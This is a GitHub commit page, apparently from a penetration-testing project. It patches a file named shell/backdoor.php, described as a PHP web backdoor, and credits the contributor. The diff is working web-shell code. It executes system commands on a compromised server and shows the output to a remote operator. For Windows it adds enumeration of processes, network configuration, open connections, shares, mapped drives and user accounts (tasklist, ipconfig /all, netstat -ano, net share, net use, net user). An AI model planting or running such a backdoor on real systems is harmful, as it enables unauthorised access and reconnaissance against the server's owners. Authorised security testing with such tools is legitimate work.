Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit f1a7d09

Browse files
committed
Minor patch to make the PHP web backdoor work also on Windows
1 parent 89c4389 commit f1a7d09

2 files changed

Lines changed: 10 additions & 5 deletions

File tree

doc/THANKS

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -159,6 +159,10 @@ John F. Reiser <[email protected]>
159159
Metasploit Framework 3 payload stager portable executable,
160160
http://upx.sourceforge.net
161161

162+
Simone Onofri <[email protected]>
163+
for patching the PHP web backdoor to make it work properly also on
164+
Windows
165+
162166
Antonio Parata <[email protected]>
163167
for providing me with some ideas for the PHP backdoor
164168

shell/backdoor.php

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ function ex($command) {
9898
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
9999
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
100100
echo "</pre><b>Server uptime</b><br><pre>";
101-
echo ex("uptime");
101+
echo (!$win) ? ex("uptime") : ex("net statistics server");
102102
echo "</pre><b>Server time</b><br><pre>";
103103
echo date("D, M d, h:iA");
104104
echo "</pre><b>Disk space</b><br><pre>";
@@ -118,12 +118,13 @@ function ex($command) {
118118
echo "</pre><b>Memory information</b><br><pre>";
119119
echo ex("cat /proc/meminfo");
120120
echo "</pre><b>Open ports and active connections</b><br><pre>";
121-
echo ex("netstat -nat");
122-
echo "</pre><b>Network devices</b><br><pre>";
123-
echo ex("/sbin/ifconfig -a");
121+
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
122+
echo "</pre><b>Network devices</b><br><pre>";
123+
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
124124
echo "</pre><b>Processes</b><br><pre>";
125-
echo ex("ps auxfww");
125+
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
126126
echo "</pre>";
127+
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
127128
}
128129

129130
else if(isset($_REQUEST["phpinfo"])) {

0 commit comments

Comments
 (0)